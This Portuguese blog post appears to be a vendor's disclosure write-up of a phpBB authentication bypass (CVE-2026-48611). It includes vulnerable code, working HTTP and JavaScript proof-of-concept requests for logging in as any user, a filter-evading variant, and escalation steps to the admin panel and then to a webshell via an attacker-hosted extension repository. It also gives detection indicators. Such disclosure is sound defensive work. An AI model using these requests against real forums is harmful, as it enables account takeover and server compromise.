Em 10 de junho, anunciamos uma vulnerabilidade crítica no phpBB que permite que atacantes ignorem a autenticação, agora conhecida como CVE-2026-48611. Esta publicação é um acompanhamento, contendo detalhes técnicos que explicam cenários de exploit e métodos de detecção.
Para contextualizá-lo, o phpBB é um software de fórum antigo que ainda é utilizado hoje por diversas comunidades técnicas. Somente o Site Showcase do phpBB possui mais de 6 milhões de membros. Embora tenha havido alguns ataques notórios no passado, como o worm "Santy" em 2004, hoje em dia, eles não têm tido muitos problemas com vulnerabilidades. Esta divulgação quebra essa tendência.
Enquanto pesquisávamos para aprimorar nosso produto de pentest de IA, os agentes do Aikido Attack nos notificaram sobre um "Bypass de Autenticação Crítico" no phpBB. Estávamos um pouco céticos no início. Certamente, pensamos, era algum erro de configuração ou um caso de borda que havíamos cometido na configuração. Mas não poderia estar mais longe da verdade.
A vulnerabilidade encontrada funciona na configuração padrão, exigindo apenas uma única requisição não autenticada para fazer login completo em qualquer conta arbitrária. Fazer login em uma conta de administrador poderia conceder a você controle total sobre todo o fórum!
Após notar isso, reportamos imediatamente a vulnerabilidade no HackerOne e recebemos a confirmação de que foi triada em menos de 9 minutos!
Quatro dias depois, um patch foi lançado na versão 3.3.17 abordando a vulnerabilidade. Se você gerencia um fórum phpBB, atualize para esta versão o mais rápido possível, caso ainda não o tenha feito.
Agora vamos nos aprofundar em quais partes do código eram vulneráveis e como elas puderam ser exploradas. Spoiler: não é o exploit super complicado que você poderia esperar que fosse…
Bypass de autenticação
Tudo isso está relacionado a como exatamente o procedimento de login funciona no phpBB. Não o fluxo de login principal, mas especificamente o recurso de "login-link". Ao conectar-se a serviços externos como Google ou GitHub OAuth, este recurso serve para vincular a conta a uma conta existente na instância phpBB ou registrar uma nova.
Se você optar por conectá-lo a uma conta existente, ele pede para você fazer login na sua conta com o mode=login_link parâmetro de consulta. Enviar isso conectará a conta OAuth depois que você fizer login.
O callback é tratado por ucp_login_link.php e primeiro procura por login_link_* dados como parâmetros de consulta, que não devem estar vazios. Estes são extraídos aqui:
class ucp_login_link {
function main($id, $mode) {
...
$data = $this->get_login_link_data_array();
if (empty($data)) {
$login_link_error = $user->lang['LOGIN_LINK_NO_DATA_PROVIDED'];
}
...
}
}
protected function get_login_link_data_array() {
...
foreach ($var_names as $var_name) {
if (strpos($var_name, 'login_link_') === 0) {
$key_name = substr($var_name, $string_start_length);
$login_link_data[$key_name] = $request->variable($var_name, '', false, \phpbb\request\request_interface::GET);
}
}Felizmente, isso é fácil de contornar adicionando alguns dados fictícios como login_link_Aikido=1. Isso torna o $data não vazio, e podemos continuar com o fluxo.
Mais adiante no código, começamos a notar algo peculiar. Temos controle sobre o auth_provider parâmetro de consulta:
// Usar o auth_provider solicitado mesmo que diferente do configurado
$provider_collection = $phpbb_container->get('auth.provider_collection');
$auth_provider = $provider_collection->get_provider($request->variable('auth_provider', ''));O valor normalmente é definido apenas como oauth, mas podemos controlá-lo totalmente. Ele deveria informar ao servidor phpBB qual provedor deve ser usado para verificar a autenticação, por exemplo, se você tiver um banco de dados local e autenticação OAuth configurados. Mas o que acontece quando fornecemos outros valores?
O phpBB define todos estes como classes em phpbb/auth/provider. Existe um chamado apache.php que é muito simples, um pouco demais simples:
class apache extends base {
public function login($username, $password) {
$php_auth_user = html_entity_decode($this->request->server('PHP_AUTH_USER'), ENT_COMPAT);
$php_auth_pw = html_entity_decode($this->request->server('PHP_AUTH_PW'), ENT_COMPAT);
if (!empty($php_auth_user) && !empty($php_auth_pw)) {
// Basic auth username must match submitted username
if ($php_auth_user !== $username) {
return array('status' => LOGIN_ERROR_USERNAME, ...);
}
// Look up user in database
$sql = 'SELECT user_id, username, user_password, user_passchg, user_email, user_type
FROM ' . USERS_TABLE . "
WHERE username = '" . $this->db->sql_escape($php_auth_user) . "'";
$result = $this->db->sql_query($sql);
$row = $this->db->sql_fetchrow($result);
$this->db->sql_freeresult($result);
if ($row) {
// User inactive
if ($row['user_type'] == USER_INACTIVE || $row['user_type'] == USER_IGNORE) {
return array('status' => LOGIN_ERROR_ACTIVE, ...);
}
// Successful login
return array('status' => LOGIN_SUCCESS, ...);
}Ele verifica se o nome de usuário enviado corresponde a PHP_AUTH_USER (decodificado Básico nome de usuário de autenticação), procura o usuário e então apenas retorna LOGIN_SUCCESS. Mas uma coisa está faltando: uma verificação de senha!
Parabéns, você acabou de encontrar um bypass de autenticação crítico no phpBB! Ao escolher um provedor inesperado como apache, podemos pular a senha e fazer login como qualquer usuário.
Agora, para esclarecer qualquer confusão, os mantenedores não "esqueceram" de adicionar uma verificação de senha aqui. A funcionalidade pretendida do apache provedor assume que a autenticação é tratada pelo proxy Apache com .htpasswd, e cada requisição deve passar por ele primeiro. O phpBB simplesmente confia no nome de usuário que vem no cabeçalho de autenticação Basic nesse caso.
O que fizemos aqui foi acionar o apache provedor sem que o Apache precisasse ser configurado, através de um recurso projetado apenas para oauth. Neste caso, o cliente se torna diretamente o "proxy confiável", e podemos enviar qualquer nome de usuário que desejarmos.
Assim, podemos fazer uma requisição que aciona o fluxo de login-link com dados válidos e um nome de usuário de nossa escolha, mas definir o handler para apache para pular a verificação de senha. Nomes de usuário não são difíceis de encontrar em instâncias phpBB, tornando fácil fazer login como administrador ou moderador.
Tudo isso funciona na configuração padrão do phpBB, tornando-o ainda mais perigoso
Prova de conceito
Reproduzir esta vulnerabilidade não é difícil. Em qualquer instância local do phpBB, a seguinte requisição HTTP mostra um bypass para fazer login no administrador usuário (codificado em Base64 no Autorização: cabeçalho como admin:x para YWRtaW46eA==).
POST /ucp.php?mode=login_link&auth_provider=apache&login_link_aikido=1 HTTP/1.1
Host: phpbb.local
Content-Length: 49
Authorization: Basic YWRtaW46eA==
Content-Type: application/x-www-form-urlencoded
login_username=admin&login_password=x&login=LoginUma resposta bem-sucedida define os cookies e redireciona para a página inicial. O atacante então está totalmente logado na conta alvo.
HTTP/1.1 302 Found
Server: Apache/2.4.67 (Debian)
X-Powered-By: PHP/8.2.31
Set-Cookie: phpbb_f4xf4_u=1; path=/; domain=phpbb.local; HttpOnly
Set-Cookie: phpbb_f4xf4_k=; path=/; domain=phpbb.local; HttpOnly
Set-Cookie: phpbb_f4xf4_sid=4c512fa6d44b00f3fe760603e7a84257; path=/; domain=phpbb.local; HttpOnly
Set-Cookie: phpbb_f4xf4_u=2; path=/; domain=phpbb.local; HttpOnly
Set-Cookie: phpbb_f4xf4_k=; path=/; domain=phpbb.local; HttpOnly
Set-Cookie: phpbb_f4xf4_sid=5e331defa66c2fc6db386f7c9abd0c55; path=/; domain=phpbb.local; HttpOnly
Location: http://phpbb.local/index.php/
Content-Length: 0
Content-Type: text/html; charset=UTF-8Para gerar a requisição acima, o seguinte código JavaScript pode ser executado no Console das Ferramentas de Desenvolvedor de qualquer instância:
const TARGET_USER = "admin";
await fetch('/ucp.php?mode=login_link&auth_provider=apache&login_link_aikido=1', {
method: "POST",
headers: {
Authorization: `Basic ${btoa(TARGET_USER + ":x")}`
},
body: new URLSearchParams({login_username: TARGET_USER, login_password: "x", login: "Login"})
});Recarregar a página web depois mostra que o atacante está logado na conta alvo:
Escalonamento para o painel de controle de administração
Estamos logados na conta dos administradores e podemos postar qualquer coisa nos passando por eles, mas se tentarmos realmente gerenciar o fórum através do Painel de Controle de Administração, nos deparamos com uma segunda verificação de senha:
O painel verifica novamente se temos a senha do usuário enquanto já estamos logados. Embora o instinto inicial possa ser usar nosso exploit novamente para contornar esta verificação de login também, ela possui uma implementação completamente separada que não é vulnerável ao mesmo problema. Nós precisamos de uma senha para acessar este painel.
Por essa razão, tanto o mantenedor do phpBB quanto o Aikido inicialmente pensaram que o impacto desse problema estava limitado à personificação de usuários arbitrários.
Logo após compartilhar esta postagem de blog no X, o usuário "Labomen" mencionou que é possível um escalonamento do Painel de Controle do Usuário (UCP, essencialmente "configurações pessoais") para o Painel de Controle de Administração (ACP) como administrador, sem a necessidade de uma senha.
> O acesso ao ACP pode ser obtido trivialmente porque, em quase todos os fóruns reais, você pode simplesmente fazer login como administrador no grupo principal de administradores com a função de fundador, criar uma nova conta de usuário que você possui, torná-la um administrador (sim, adicionar alguém a um grupo NÃO precisa de ACP), então você simplesmente faz login com sua conta e entra no ACP, já que você conhece a senha.
Isso era preocupante. Rapidamente reproduzimos a ideia localmente e confirmamos que era realmente o caso! O usuário fundador é o primeiro usuário registrado na instância do phpBB e possui o ADMINISTRADORES papel por padrão. Especificamente, essa combinação de permissões é explorável porque o fundador pode adicionar outros usuários ao grupo de administradores. Além disso, eles podem fazer isso a partir do Painel de Controle do Usuário!
O atacante pode registrar uma conta para si mesmo e, em seguida, conceder privilégios de Administrador a essa conta por meio deste painel de Adicionar usuários.
Depois, eles veem o link do Painel de Controle de Administração em sua própria conta e, como é a conta deles, sabem a senha para fazer login completamente.
A partir daqui, a instância completa é comprometida. Quaisquer configurações podem ser editadas. Mas, para ir ainda mais longe, podemos também impactar o sistema subjacente.
Execução Remota de Código
O seguinte é possível apenas na branch beta 4.x, não na branch 3.x mais comum. No entanto, ainda queríamos demonstrar o impacto total desta vulnerabilidade.
Na versão 4.0.0-a2, foi adicionado um chamado Catálogo de Extensões, substituindo o método manual de instalação de extensões phpBB através do sistema de arquivos.
As extensões não precisam mais ser copiadas manualmente para a pasta ext\/; em vez disso, você pode configurar URLs de repositório e obtê-las diretamente da interface web!
Embora seja uma boa experiência para o administrador, este recurso traz um risco. Significa que qualquer administrador comprometido na web pode, de repente, instalar extensões arbitrárias. Não apenas de fontes confiáveis, mas configurando as Configurações, a partir de qualquer URL adicionada aos Repositórios:
Após salvar as configurações, uma requisição para https:\/\/attacker.tld\/packages.json é feita para buscar todas as extensões disponíveis. O atacante pode retornar uma lista de extensões que ele afirma hospedar, as quais são então exibidas no catálogo. A partir daqui, como administrador, o atacante pode instalar sua extensão maliciosa para que arquivos PHP arbitrários sejam gravados na pasta ext\/ para ele.
Criamos um servidor malicioso para hospedar extensões com uma webshell e, quando configurado, mostra a extensão do atacante listada:
Após instalá-la e ativá-la, o atacante pode navegar até sua webshell para alcançar a Execução Remota de Código Não Autenticada na configuração padrão da versão mais recente:
Indicadores de comprometimento
Verifique os logs de requisição para requisições POST que contenham auth_provider=apache e mode=login_link parâmetros de query juntos. Este é o exploit mais comum. Veja o exemplo de requisição acima.
No entanto, observe que, como o phpBB também lê ambos os parâmetros do corpo da requisição POST, esses parâmetros têm prioridade sobre os parâmetros GET. Uma requisição de bypass de filtro pode então parecer uma requisição mode=login, enquanto na verdade executa mode=login_link no corpo. login_link_* ainda é um parâmetro de query obrigatório, portanto, pode ser usado como um indicador de uma requisição suspeita, e então analisado manualmente. Pode parecer assim:
POST /ucp.php?mode=login&login_link_ANYTHING=1 HTTP/1.1
Host: phpbb.local
Content-Length: 86
Content-Type: application/x-www-form-urlencoded
Authorization: Basic YWRtaW46eA==
login_username=admin&login_password=x&mode=login_link&auth_provider=apache&login=LoginEste é o tipo de coisa que o Aikido Attack encontra em uma execução normal. Ele busca por bypasses de autenticação, IDORs e falhas de lógica da mesma forma que um atacante real faria, e então valida cada um para que você veja apenas o que é realmente explorável. Aponte-o para seus próprios aplicativos e proteja-os rapidamente.
Cronograma
- 2 de junho de 2026 20:22 - Relatório submetido ao programa VDP https://hackerone.com/phpbb
- 2 de junho de 2026 20:31 - O relatório foi triado pela equipe phpBB (isso mesmo, 9 minutos!)
- 6 de junho de 2026 16:26 - Versão 3.3.17 com um patch é lançada
- 10 de junho de 2026 12:33 - Publicamos um anúncio inicial para alertar os usuários
- 10 de junho de 2026 19:33 - Os mantenedores do phpBB nos pedem para esperar 4 semanas antes de publicar os detalhes técnicos
- 4 de julho de 2026 02:45 - Este artigo técnico é publicado
